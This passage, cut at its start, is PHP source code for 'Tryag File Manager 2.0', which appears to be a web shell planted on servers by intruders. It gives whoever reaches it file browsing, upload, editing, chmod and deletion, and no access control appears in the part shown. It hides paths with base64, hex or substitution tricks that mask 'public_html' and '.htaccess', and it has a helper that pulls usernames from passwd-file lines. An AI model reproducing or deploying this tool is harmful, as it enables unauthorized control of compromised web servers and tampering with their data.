<input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
<input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'edit' || isset($_GET['new'])){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,base64_decode($_POST['src']))){
echo '<font color="green">Edit File Done.</font><br />';
$done = true;
}else{
echo '<font color="red">Edit File Error.</font><br />';
}
fclose($fp);
}
if(isset($_GET['new']) && !$done){
$filecontent = '';
$_POST['path'] = "$currentpath/$_POST[name]";
}else{
$filecontent = filesrc($_POST['path']);
}
echo '<form method="POST" onSubmit="Encoder(\'c\')">
<textarea cols="84" rows="25" name="src" id="c">'.$filecontent.'</textarea><br />
<input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
<input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
<input type="hidden" name="type" value="file" />
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
}
echo '</div>';
}else{
echo '<div class="center">';
if($_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="green">Delete Dir Done.</font><br />';
}else{
echo '<font color="red">Delete Dir Error.</font><br />';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green">Delete File Done.</font><br />';
}else{
echo '<font color="red">Delete File Error.</font><br />';
}
}
}elseif($_POST['type'] == 'dir' && isset($_GET['new'])){
if(mkdir("$currentpath/$_POST[name]")){
echo '<font color="green">Create Dir Done.</font><br />';
}else{
echo '<font color="red">Create Dir Error.</font><br />';
}
}elseif(isset($_FILES['file'])){
$userfile_name = $currentpath.'/'.$_FILES['file']['name'];
$userfile_tmp = $_FILES['file']['tmp_name'];
if(move_uploaded_file($userfile_tmp,$userfile_name)){
echo '<font color="green">File Upload Done.</font><br />';
}else{
echo '<font color="red">File Upload Error.</font><br />';
}
}
echo '</div><table>
<tr class="first">
<td>Name</td>
<td>Size</td>
<td>Permissions</td>
<td>Options</td>
</tr>';
$dirs = getfiles('dir');
foreach($dirs as $dir){
echo '<div id="dirs"><tr>
<td><a href="?path='.$dir['link'].'"><div class="filename">'.$dir['name'].'</div></a></td>
<td class="center">'.$dir['size'].'</td>
<td class="center"><font color="'.$dir['permcolor'].'">'.$dir['perm'].'</font></td>
<td class="center"><form method="POST" action="?path='.$currentpathen.'&option">
<select name="opt">
<option value=""></option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="'.g22b_crypt($dir['name'],'en').'">
<input type="hidden" name="path" value="'.$dir['link'].'">
<input type="submit" value=">" />
</form></td>
</tr>
</div>';
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
$files = getfiles('file');
foreach($files as $file){
echo '<div id="files">
<tr>
<td><a href="?path='.$currentpathen.'&filesrc='.$file['link'].'"><div class="filename">'.$file['name'].'</div></a></td>
<td class="center">'.$file['size'].'</td>
<td class="center"><font color="'.$file['permcolor'].'">'.$file['perm'].'</font></td>
<td class="center"><form method="POST" action="?path='.$currentpathen.'&option">
<select name="opt">
<option value=""></option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
<option value="download">Download</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="'.g22b_crypt($file['name'],'en').'">
<input type="hidden" name="path" value="'.$file['link'].'">
<input type="submit" value=">" />
</form></td>
</tr></div>';
}
echo '</table>';
}
}
echo '</div>
<div id="footer"><p>Tryag File Manager Version <font color="red">2.0</font>, Coded By <font color="red">G-B</font><br />Email: <font color="red">anonymousiq87@gmail.com</font></p></div>
</div>
</body>
</html>';
function getfiles($type){
global $currentpath;
$dir = scandir($currentpath);
$result = array();
foreach($dir as $file){
$current['fullname'] = "$currentpath/$file";
if($type == 'dir'){
if(!is_dir($current['fullname']) || $file == '.' || $file == '..') continue;
}elseif($type == 'file'){
if(!is_file($current['fullname'])) continue;
}
$current['name'] = $file;
$current['link'] = g22b_crypt($current['fullname'],'en');
$current['size'] = (is_dir($current['fullname'])) ? '--' : file_size($current['fullname']);
$current['perm'] = perms($current['fullname']);
if(is_writable($current['fullname'])){
$current['permcolor'] = 'green';
}elseif(is_readable($current['fullname'])){
$current['permcolor'] = '';
}else{
$current['permcolor'] = 'red';
}
$result[] = $current;
}
return $result;
}
function start(){
global $_POST,$_GET;
$result['currentpath'] = (isset($_GET['path'])) ? g22b_crypt($_GET['path'],'de') : cwd();
$result['currentpathen'] = (isset($_GET['path'])) ? $_GET['path'] : g22b_crypt(cwd(),'en');
return $result;
}
function file_size($file){
$size = filesize($file)/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
return $size;
}
function g22b_crypt($txt,$type){
if(function_exists('base64_encode') && function_exists('base64_decode')){
return ($type == 'en') ? base64_encode($txt) : base64_decode($txt);
}elseif(function_exists('strlen') && function_exists('dechex') && function_exists('ord') && function_exists('chr') && function_exists('hexdec')){
return ($type == 'en') ? strToHex($txt) : hexToStr($txt);
}else{
$ar1 = array('public_html','.htaccess','/','.');
$ar2 = array('bbbpubghostbbb','bbbhtaghostbbb','bbbsghostbbb','bbbdotghostbbb');
return ($type == 'en') ? str_replace($ar1,$ar2,$txt) : str_replace($ar2,$ar1,$txt);
}
}
function strToHex($string){
$hex='';
for ($i=0; $i < strlen($string); $i++)
{
$hex .= dechex(ord($string[$i]));
}
return $hex;
}
function hexToStr($hex){
$string='';
for ($i=0; $i < strlen($hex)-1; $i+=2)
{
$string .= chr(hexdec($hex[$i].$hex[$i+1]));
}
return $string;
}
function nav_link(){
global $currentpath;
$path = $currentpath;
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
$result = '';
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
$result .= '<a href="?path='.g22b_crypt("/",'en').'">/</a>';
continue;
}
if($pat == '') continue;
$result .= '<a href="?path=';
$linkpath = '';
for($i=0;$i<=$id;$i++){
$linkpath .= "$paths[$i]";
if($i != $id) $linkpath .= "/";
}
$result .= g22b_crypt($linkpath,'en');
$result .= '">'.$pat.'</a>/';
}
return $result;
}
function filesrc($file){
return htmlspecialchars(file_get_contents($file));
}
function cwd(){
if(function_exists('getcwd')){
return getcwd();
}else{
$e = str_replace("\\","/",$path);
$e = explode('/',$path);
$result = '';
for($i=0;$i<count($e)-1;$i++){
if($e[$i] == '') continue;
$result .= '/'.$e[$i];
}
return $result;
}
}
function passwdtouser($line){
$user = explode(':',$line);
return $user[0];
}
function perms($file){
$perms = @fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
?>